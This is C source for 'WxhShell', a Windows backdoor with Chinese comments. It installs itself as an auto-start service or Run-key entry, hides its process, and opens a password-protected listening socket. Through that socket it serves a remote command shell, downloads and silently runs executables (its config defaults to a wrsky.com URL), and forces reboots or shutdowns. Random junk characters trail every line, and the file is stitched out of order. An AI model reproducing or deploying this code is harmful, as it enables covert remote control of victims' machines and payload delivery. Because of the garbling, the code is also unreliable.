    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vUtA@  
    if(Boot(SHUTDOWN)) lOk'stLNa&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -?T:> *]p  
    else { v/NkG;NWM  
    closesocket(wsh); ozF173iI  
    ExitThread(0); yHrYSEM  
    } z=YHRS  
    break; r$7zk<01  
    } W|NT*g{;M  
  // 获取shell a!iG;:K   
  case 's': { ){~]-VK  
    CmdShell(wsh); %d3KE|&u  
    closesocket(wsh); )zU bMzF  
    ExitThread(0); IEbk_-h[  
    break; Jat|n97$  
  } 'Ipp1a Z_M  
  // 退出 UBj"m<  
  case 'x': { (RhGBgp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <$H-/~Y  
    CloseIt(wsh); X,+M?  
    break; G)|s(C!  
    } ?<3wks|C  
  // 离开 >m66j2(H*Z  
  case 'q': { _ML`Vh]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @Kl'0>U  
    closesocket(wsh); uH"W07  
    WSACleanup(); YfB8  
    exit(1); QC/%|M0 {  
    break; > St]MS  
        } j,:vK  
  } B)^uGS W  
  } -pb>=@Yq  
)I/K-zj  
  // 提示信息 \%=GM J^[p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^p@ #  
} B<et&r;  
  } $7\!  
g#??Mz   
  return; .=I:cniw\r  
} }{3XbvC  
BRSOE U\=  
// shell模块句柄 oQsls9t  
int CmdShell(SOCKET sock) 'h]sq {  
{ 2.6F5&:($  
STARTUPINFO si; "$@Wy,yp  
ZeroMemory(&si,sizeof(si)); *=b# >//  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oM<Y o%n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )p?p39>h  
PROCESS_INFORMATION ProcessInfo; &_1Ivaen6  
char cmdline[]="cmd"; e#R'_}\yj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]ULE>a  
  return 0; T/9`VB%N  
} 295U<  
u)NmjW  
// 自身启动模式 :h(r2?=7  
int StartFromService(void) =zetZJg  
{ 0vi)m y;!  
typedef struct =Su~i Oa  
{ 0P?\eoB@8  
  DWORD ExitStatus; ggP#2I\  
  DWORD PebBaseAddress; T?!D?YV  
  DWORD AffinityMask; |mHxkd  
  DWORD BasePriority; X3# AYn,  
  ULONG UniqueProcessId; ZvSWIQ6  
  ULONG InheritedFromUniqueProcessId; MPS{MGVjbJ  
}   PROCESS_BASIC_INFORMATION; 3 $~6+i  
C VyYV &U,  
PROCNTQSIP NtQueryInformationProcess; C;DR@'+q  
= nIl$9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q3SYlL'a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x{|`q9V~ N  
!}+rg2  
  HANDLE             hProcess; X{-@3tG<r  
  PROCESS_BASIC_INFORMATION pbi; cVR#\OM  
S*0P[R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ";>>{lYA.  
  if(NULL == hInst ) return 0; <0%X:q<  
94Hs.S)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IegZ)&_n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I"_``*/1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q,AM<\S  
QP%*`t?  
  if (!NtQueryInformationProcess) return 0; a ,EApUWw  
L2N O_N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +^@;J?O  
  if(!hProcess) return 0; _7k6hVQ  
0Na/3cz|zg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3lW7auH4Y{  
udjahI<{  
  CloseHandle(hProcess); })Pq!u:3  
Y +[Z,   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L)mb.U$`c|  
if(hProcess==NULL) return 0; r6u ) 6J=  
c^%vyBMY  
HMODULE hMod; Uiz#QGt  
char procName[255]; hU]Gv)B  
unsigned long cbNeeded; <dd(i  
@y+Hb@ >.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qh]ILE87(  
uFXu9f+  
  CloseHandle(hProcess); Gl@-RLo  
#&oL iz=hZ  
if(strstr(procName,"services")) return 1; // 以服务启动 -weCdTY`X  
pT=YV k  
  return 0; // 注册表启动 DjK  
} PrZs@ Y  
5PCMxjon  
// 主模块 jcY:a0[{D  
int StartWxhshell(LPSTR lpCmdLine) YtWO=+rX  
{ \i}:Vb(^  
  SOCKET wsl; =ghN)[AZV  
BOOL val=TRUE; *pOdM0AE  
  int port=0; .=u8`,sO  
  struct sockaddr_in door; sC^9  
jQ 'r};;  
  if(wscfg.ws_autoins) Install(); >U2[]fu  
:VB{@ED  
port=atoi(lpCmdLine); tt%lDr1A)  
a2vZ'  
if(port<=0) port=wscfg.ws_port; U> @st="  
h M/:zC:  
  WSADATA data; %^){)#6w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Js'#=  
g6wL\g{29  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E#T6rd P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cxt_QyL?  
  door.sin_family = AF_INET; "y5LojdCs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -9(9LU2  
  door.sin_port = htons(port); 0~;Owu  
;t_'87h$y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vnrP;T=^  
closesocket(wsl); P_:~!+W,  
return 1; ": G\  
} RqenPM k  
u6pfc'GGg  
  if(listen(wsl,2) == INVALID_SOCKET) { U,_jb}$Sq7  
closesocket(wsl); .0gF&>I}  
return 1; 555*IT3b  
} F79!B  
  Wxhshell(wsl); 7/:C[J4GTN  
  WSACleanup(); GmJ4AYEP  
$!Pm*s  
return 0; Z}E.s@w  
i`F8kg`_K  
} #$ Q2ijT0  
-76l*=|  
// 以NT服务方式启动 }0%~x,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fhr5)Z  
{ SCUsDr+.  
DWORD   status = 0; &E(KOfk#  
  DWORD   specificError = 0xfffffff; ^#Ruw?D  
n!Dy-)!`O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IL\2?(&Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1J tt\yq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  r*gQGvc  
  serviceStatus.dwWin32ExitCode     = 0; 9|}u"jJB%E  
  serviceStatus.dwServiceSpecificExitCode = 0; eOdB<He36  
  serviceStatus.dwCheckPoint       = 0; [RqL0EP  
  serviceStatus.dwWaitHint       = 0; Z^'i16  
yGN2/>]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ BpZ{Ql  
  if (hServiceStatusHandle==0) return; jEkO #xI  
|v[0(  
status = GetLastError(); /&`sB|  
  if (status!=NO_ERROR) f=f8) +5  
{ pm.Zc'23  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x?*)  
    serviceStatus.dwCheckPoint       = 0; *nj={Ss&  
    serviceStatus.dwWaitHint       = 0; X:c k  
    serviceStatus.dwWin32ExitCode     = status; 5R?[My  
    serviceStatus.dwServiceSpecificExitCode = specificError; @Ft\~ +}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ac'0  
    return; e{*-_j "I  
  } #KOr-Yg|U  
LZ ?z5U:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X/8CvY#n  
  serviceStatus.dwCheckPoint       = 0; }K8W%h<3S  
  serviceStatus.dwWaitHint       = 0; Wvg+5Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }ob&d.XZ  
} 2D"n#O`y  
)e1&[0  
// 处理NT服务事件,比如:启动、停止 \@3B%RW0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :nYnTo`  
{ 4~bbng  
switch(fdwControl) |lnMT)^D  
{ zP F0M(  
case SERVICE_CONTROL_STOP: >Fzs%]M  
  serviceStatus.dwWin32ExitCode = 0; C }= *%S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Td;2  
  serviceStatus.dwCheckPoint   = 0; -{^IT`  
  serviceStatus.dwWaitHint     = 0; m7|}PH" 7  
  { |v'_Co0ki  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VN5UJ!$?J  
  } Ep.Q&(D >  
  return; Hw(_l,Xf  
case SERVICE_CONTROL_PAUSE: "k0bj>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =FB[<%  
  break; l[_ y|W5  
case SERVICE_CONTROL_CONTINUE: a&?SRC'x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vzr?#FG  
  break; Vg>\@ C .s  
case SERVICE_CONTROL_INTERROGATE: !sJ*0  
  break; ;g:!WXd  
}; Q"@x,8xW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ yu d  
} =tS1|_  
3\!DsPgW  
// 标准应用程序主函数 C'_^DPzj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V\!6K  
{ qt.G_fOz  
NQFMExg,  
// 获取操作系统版本 n.323tNY  
OsIsNt=GetOsVer(); " 0:&x n8L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T&ECGF;Y/  
>Z\{P8@k0  
  // 从命令行安装 d"P\ =`+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'pa>;{  
W`qiPLk  
  // 下载执行文件 8 BHtN  
if(wscfg.ws_downexe) { @lYm2l^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ci}v+  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1;U `e4"  
} I|`/#BYbW  
&{x%"Aq/  
if(!OsIsNt) { >R9_ ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 $wQkTx  
HideProc(); kwcH$w<I  
StartWxhshell(lpCmdLine); "\n,vNk  
} (F<VcB  
else aT]G&bR?  
  if(StartFromService()) ?tf/#5t}  
  // 以服务方式启动 em@bxyMm  
  StartServiceCtrlDispatcher(DispatchTable); G<5i %@  
else w6-A-M6hD  
  // 普通方式启动 iPD5 KsAOA  
  StartWxhshell(lpCmdLine); IQ5H`o?[B  
wU9H=w^  
return 0; hZ#ydI|  
} N`G* h^YQ  
}%&hxhR^t3  
{hXIP`  
4)cQU.(*k  
=========================================== ;x|E}XD  
zm& D #)  
"<#-#j  
WRq:xDRn0  
7jj.maK  
h6yXW! 8  
" `.Oj^H6  
n%SR5+N"  
#include <stdio.h> gH0' Ok'  
#include <string.h> 7lC );  
#include <windows.h> j[^(<R8  
#include <winsock2.h> a-A>A_.  
#include <winsvc.h> rzR=% >  
#include <urlmon.h> C9,|G7~*q  
(O$PJLI  
#pragma comment (lib, "Ws2_32.lib") J$]-)`[G&  
#pragma comment (lib, "urlmon.lib") XL`*T bx  
4P>[]~S  
#define MAX_USER   100 // 最大客户端连接数  ]\qbe  
#define BUF_SOCK   200 // sock buffer Eeumi#$Z   
#define KEY_BUFF   255 // 输入 buffer 2/T4.[`t  
k^JV37;bl  
#define REBOOT     0   // 重启 0`LR!X  
#define SHUTDOWN   1   // 关机 {.D^2mj |  
zq:+e5YT?T  
#define DEF_PORT   5000 // 监听端口 0ESxsba  
n!Ic.T3PA  
#define REG_LEN     16   // 注册表键长度 Q)n6.%V/e  
#define SVC_LEN     80   // NT服务名长度 P0Q]Ds|  
gB&8TE~Y  
// 从dll定义API t#fbagTON  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k3pY3TA@w+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0wh4sKm[X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ],?rFK{O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }!&Vcf  
E8Rk b}  
// wxhshell配置信息 D?)^{)49  
struct WSCFG { /K@_O\+;Q  
  int ws_port;         // 监听端口 q& :UP  
  char ws_passstr[REG_LEN]; // 口令 y1oQ4|KSI  
  int ws_autoins;       // 安装标记, 1=yes 0=no " h D6Z  
  char ws_regname[REG_LEN]; // 注册表键名 EJ%Kr$51K  
  char ws_svcname[REG_LEN]; // 服务名 ?!uj8&yyf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <]SI -  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BA5b;+o-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2j*+^&M/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~]d3 f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ||}k99y +  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3pV^Oe^9  
o_(@v2G`  
}; {\SJr:  
+9tm9<F8  
// default Wxhshell configuration &=KNKE`  
struct WSCFG wscfg={DEF_PORT, Hv>16W$_  
    "xuhuanlingzhe", *-zOQ=Y  
    1, &| d6  
    "Wxhshell", ' )0eB:  
    "Wxhshell", (=T%eJ61  
            "WxhShell Service", ytWTJ>L  
    "Wrsky Windows CmdShell Service", M6j!_0j  
    "Please Input Your Password: ", S4salpz  
  1, 'l&),]|$)  
  "http://www.wrsky.com/wxhshell.exe", &e-MOM2&  
  "Wxhshell.exe" #Yqj27&  
    };  .# Jusd  
5>S<9A|Q  
// 消息定义模块 aw3 oG?3I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T> !Y-e.q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /qKO9M5A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bg =<)s  
char *msg_ws_ext="\n\rExit."; PQ#zF&gL9t  
char *msg_ws_end="\n\rQuit."; vi4lmkyh^  
char *msg_ws_boot="\n\rReboot..."; -;i vBR  
char *msg_ws_poff="\n\rShutdown..."; 0bcbH9) 1q  
char *msg_ws_down="\n\rSave to "; <%SG <|t  
`veq/!  
char *msg_ws_err="\n\rErr!"; n/&}|998?  
char *msg_ws_ok="\n\rOK!"; Cuk!I$  
DJ!<:9FD  
char ExeFile[MAX_PATH]; 1 luRTI8^  
int nUser = 0; }Qqi013E L  
HANDLE handles[MAX_USER]; 19g-#H!  
int OsIsNt; ;PA^.RB  
[yEH!7  
SERVICE_STATUS       serviceStatus; C{5bG=Sg~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R9!GDKts%  
; xz}]@]Ar  
// 函数声明 O1 KT  
int Install(void); Z ZMz0^V  
int Uninstall(void); I?z*.yA*  
int DownloadFile(char *sURL, SOCKET wsh); GY3g`M   
int Boot(int flag); ZQVr]/W^r  
void HideProc(void); o)M=; !  
int GetOsVer(void); /`2t$71)  
int Wxhshell(SOCKET wsl); g.V{CJ*V  
void TalkWithClient(void *cs); ^w tr~D|  
int CmdShell(SOCKET sock); pE~>k:  
int StartFromService(void); ^@4$O|3Wh'  
int StartWxhshell(LPSTR lpCmdLine); H[u[3  
WlF}R\N!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T\ cJn>kCn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -!ARVf *  
Q&@~<!t  
// 数据结构和表定义 PlX6,3F  
SERVICE_TABLE_ENTRY DispatchTable[] = Wifr%&t{J  
{ 3[a&|!Yw  
{wscfg.ws_svcname, NTServiceMain}, [8h~:.d`  
{NULL, NULL} w]& o]VP  
}; JtB]EvpL}  
({5`C dVi  
// 自我安装 `El)uTnuZ[  
int Install(void) T+q3]&  
{ ^p2_p9  
  char svExeFile[MAX_PATH]; 1p DL()t  
  HKEY key; v!~ ;Q O  
  strcpy(svExeFile,ExeFile); mjI $z3  
aOOkC&%  
// 如果是win9x系统,修改注册表设为自启动  (H*EZ  
if(!OsIsNt) { d*===~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?S~@Ea8/M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "L)=Y7Dx  
  RegCloseKey(key); kuZs30^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]6*+i $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }23#z  
  RegCloseKey(key); -!s?d5k")  
  return 0; +J+[fbqX  
    } (TF;+FRW  
  } PIthv [F  
} @5)THYAx4  
else { {0ozpE*(  
g(b:^_Nep  
// 如果是NT以上系统,安装为系统服务 >~vZ+YO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tw*n+{]hi  
if (schSCManager!=0) Cbq|<p# #o  
{ Z4ZR]eD  
  SC_HANDLE schService = CreateService _ l$1@  
  ( WNa#X]*E)  
  schSCManager, /DC\F5 G  
  wscfg.ws_svcname, X^% E"{!nU  
  wscfg.ws_svcdisp, $&@etsW0/  
  SERVICE_ALL_ACCESS, Bt?.8H6Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZQ_&HmgRy  
  SERVICE_AUTO_START, vrr` ^UB2  
  SERVICE_ERROR_NORMAL, @8$3Q,fF(  
  svExeFile, (e~vrSk+)~  
  NULL, o<f#Zi  
  NULL, ~Bi{k'A9  
  NULL, MB#KLTwnT  
  NULL, A:JW Ux  
  NULL % njcWVP;  
  ); "{X_[  
  if (schService!=0) b- FJMY  
  { wvu h   
  CloseServiceHandle(schService); B+pJWl8u  
  CloseServiceHandle(schSCManager); Kd%>:E*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .15^c+j  
  strcat(svExeFile,wscfg.ws_svcname); giNyD4uO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i4p2]Nr t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M9J^;3Lrh  
  RegCloseKey(key); >.}ewz&9o  
  return 0; AY~~a)V  
    } NW*qw q  
  } OpT0V]k^"9  
  CloseServiceHandle(schSCManager); XY*KWO  
} Ze:Y"49S+>  
} 'aAay*1  
rf:C B&u  
return 1; Jemb0Qv  
} eCI0o5U  
>RL|W}tI4  
// 自我卸载 /U1 jCLR'  
int Uninstall(void) xy.di9  
{ ,TdL-a5  
  HKEY key; >8>}o4Q/X  
X"z!52*3]  
if(!OsIsNt) { o@!!I w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gvi]#|  
  RegDeleteValue(key,wscfg.ws_regname); w-3 B~e  
  RegCloseKey(key); 50Kv4a"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lDd8dT-Q.  
  RegDeleteValue(key,wscfg.ws_regname); rQ!X  
  RegCloseKey(key); p#T^o]+  
  return 0; "v9i;Ba>+  
  } YJ[Jo3M@j0  
} c~=yD:$  
} jh*aD=y  
else { {+.ai8  
R2%>y5dD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  &9*MO  
if (schSCManager!=0) % w0Vf$  
{ *\5o0~~8J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U}]uPvu  
  if (schService!=0) q&y9(ZvI  
  { 0u7\*Iy  
  if(DeleteService(schService)!=0) { :: 2pDtMS  
  CloseServiceHandle(schService); *?Pbk+}%  
  CloseServiceHandle(schSCManager); %!_%%p,f  
  return 0; "k%B;!We)  
  } 9"TPAywd  
  CloseServiceHandle(schService); #ivN-WKCl  
  } /j`v N  
  CloseServiceHandle(schSCManager); f|&ga'5g&  
} iOO1\9{@  
} Nsd7?|@HI  
(H*d">`mz  
return 1; y,OwO4+y\  
} g\n0v~T+  
B&Igm<72x  
// 从指定url下载文件 eK]$8l|LI  
int DownloadFile(char *sURL, SOCKET wsh) IUJRP  
{ fsxZQ=-PW  
  HRESULT hr; bR*/d-v^  
char seps[]= "/"; !KEnr`O2u  
char *token; xqA XfJ.  
char *file; ~1`ZPLVG  
char myURL[MAX_PATH]; e#uk+]  
char myFILE[MAX_PATH]; +l,6}tV9  
?g5u#Q> !  
strcpy(myURL,sURL); ONkHHyT  
  token=strtok(myURL,seps); M\f1]L|8d  
  while(token!=NULL) ]mW)T0_  
  { F|seBBu  
    file=token; &d8z`amP  
  token=strtok(NULL,seps); =`oQcIkz  
  } :le"FFfk  
2' 8$I}h  
GetCurrentDirectory(MAX_PATH,myFILE); pSLv1d"9{  
strcat(myFILE, "\\"); D#~S< >u@  
strcat(myFILE, file); <g^!xX<r?  
  send(wsh,myFILE,strlen(myFILE),0); Owa]ax5  
send(wsh,"...",3,0); o9Z!Z ^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f/&k $,w  
  if(hr==S_OK) \~YyY'J  
return 0; G\S>H  
else #Ang8O@y  
return 1; Fk 5;  
GG}(*pOr  
} %ys-y?r  
pNHO;N[&  
// 系统电源模块 >^  E  
int Boot(int flag) ``:AF:  
{ i~k9s  
  HANDLE hToken; %Ny`d49&  
  TOKEN_PRIVILEGES tkp; #xopJaY  
?B&@  
  if(OsIsNt) { l9 |x7GB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XgfaTX*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l^F%fIRp)  
    tkp.PrivilegeCount = 1; ^rDT+ x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rX*ATN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M99gDN  
if(flag==REBOOT) { PKx ewd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0> 6;,pd"  
  return 0; 3gn) q>Xj$  
} gyI(O>e  
else { v GF<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~[mAv #d&i  
  return 0; &dino  
} BE;J/  
  } JVORz-uBs  
  else { #0hX'8];(  
if(flag==REBOOT) { nVTCbV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >}43xIRRCq  
  return 0; H9["ZRL,Q  
} r*'X]q|L+  
else { 6G<t1?_yD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ::xH C4tw  
  return 0; D{](5?$`|  
} f|*vWHSM  
} g* NKY`,  
CTbz?Kn  
return 1; %("Bq"Q8  
} NjCdkT&g  
~9:ILCfX  
// win9x进程隐藏模块 Qr/8kWa0 C  
void HideProc(void) l @hXQ/  
{ pLFJ"3IJB  
n: ~y]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C6XTId=y#_  
  if ( hKernel != NULL ) sI u{_b  
  { Z(S=2r.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }+L!r53g6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2>.2H  
    FreeLibrary(hKernel); ERW>G {+  
  } 93Yo }6>  
fwojFS.K  
return; [I;5V=bKW  
} \;?=h  
H(^O{JC]y!  
// 获取操作系统版本 gDw:Z/1X`  
int GetOsVer(void) 5dV Sir  
{ brkR,(#L3  
  OSVERSIONINFO winfo; 1`tE Hu.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |EJ&s393&  
  GetVersionEx(&winfo); ?Jlz{msI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ty"OJ  
  return 1; D&{ 7Av  
  else s<I[)FQVr  
  return 0; XIu3n9g^#  
} TU&t 1_6  
%"Y7 b2pPa  
// 客户端句柄模块 jhWNMu  
int Wxhshell(SOCKET wsl) zFjG20w%3g  
{ 8?GS:+  
  SOCKET wsh; P&/PCSf  
  struct sockaddr_in client; No)v&P%  
  DWORD myID; *-timVlaE  
74c1i  
  while(nUser<MAX_USER) nb:J"  
{ Ul?Ha{ W  
  int nSize=sizeof(client); A2o ;YyF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <qzHMy Ai  
  if(wsh==INVALID_SOCKET) return 1; Ve,_;<F]S  
 H}NW?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C7(kV{h$d  
if(handles[nUser]==0) \o^M,yI  
  closesocket(wsh); eH2.,wY1  
else yA%(!v5UT  
  nUser++; EO'[AU%~  
  } krTH<- P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bA-=au?o5  
'#SacJ\L7  
  return 0; (lhbH]I  
} 0@rrY  
h:[PO6GdX  
// 关闭 socket k--.g(T  
void CloseIt(SOCKET wsh) K1Tq7/N  
{ `zHtfox!  
closesocket(wsh); eR(PY{  
nUser--; J!,5HJh1  
ExitThread(0); =5EG}@  
} jNN$/ZWm  
I"E5XVC);  
// 客户端请求句柄 NDhHU#Q9  
void TalkWithClient(void *cs) w$H=GF?"  
{ ,TD@s$2x  
#F5O>9hA  
  SOCKET wsh=(SOCKET)cs; ^5biD9>M  
  char pwd[SVC_LEN]; o/9(+AA>  
  char cmd[KEY_BUFF];  Hw34wQX  
char chr[1]; Tx35~Z`0  
int i,j; \xk`o5/{  
dL<okw  
  while (nUser < MAX_USER) { >9D=PnHnD  
" *xQN "F  
if(wscfg.ws_passstr) { x%ZjGDFm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "sz)~Q'W5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8#S|j BV  
  //ZeroMemory(pwd,KEY_BUFF); }io9Hk>|  
      i=0; !`vm7FN"u  
  while(i<SVC_LEN) { xtKWh`[&  
3ug{1 M3  
  // 设置超时 TuphCu+Oh  
  fd_set FdRead; 4YkH;!M>ji  
  struct timeval TimeOut;  o@_pV  
  FD_ZERO(&FdRead); U]dz_%CRP  
  FD_SET(wsh,&FdRead); "])X0z yM  
  TimeOut.tv_sec=8;  *5 FSq  
  TimeOut.tv_usec=0; /Cr0jWu _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j_SRCm~:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h2+vl@X  
q>w@W:tZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #rzq9}9tB  
  pwd=chr[0]; wH[@#UP3l  
  if(chr[0]==0xd || chr[0]==0xa) { :{C#<g`  
  pwd=0; GVZ/`^ndM  
  break; :L`  
  } KYVB=14  
  i++; DY?`Y%"  
    } ]j0v.[SX  
wo84V!"A  
  // 如果是非法用户,关闭 socket bT>% *  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8QDRlF:;<  
} ~=P&wBnJ  
j& f-yc'i-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  m2%uGqz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "8VCXD  
x=yBB;&  
while(1) { fk`y}#7M  
[ V()7  
  ZeroMemory(cmd,KEY_BUFF); UaCEh?D+Y  
Os9xZ  
      // 自动支持客户端 telnet标准   h<i.@&  
  j=0; TPp%II'*  
  while(j<KEY_BUFF) { L #p-AK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c]F$$BT  
  cmd[j]=chr[0]; di`Ql._M  
  if(chr[0]==0xa || chr[0]==0xd) { oddS~lW  
  cmd[j]=0; ofl3G {u  
  break; {hK$6bD3^  
  } :*#AJV)  
  j++; pox\Gu~.0  
    } .Xh^L  
"$PbpY  
  // 下载文件 ; P I=jp  
  if(strstr(cmd,"http://")) { /<s'@!W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ROr$ Sz  
  if(DownloadFile(cmd,wsh)) ;JA2n\iP,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I-4csw<Qy  
  else gIep6nq1`|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' A= x  
  } 9*RfOdnNe  
  else { eI8^T?  
H:4r6-{  
    switch(cmd[0]) { 4VSIE"8e  
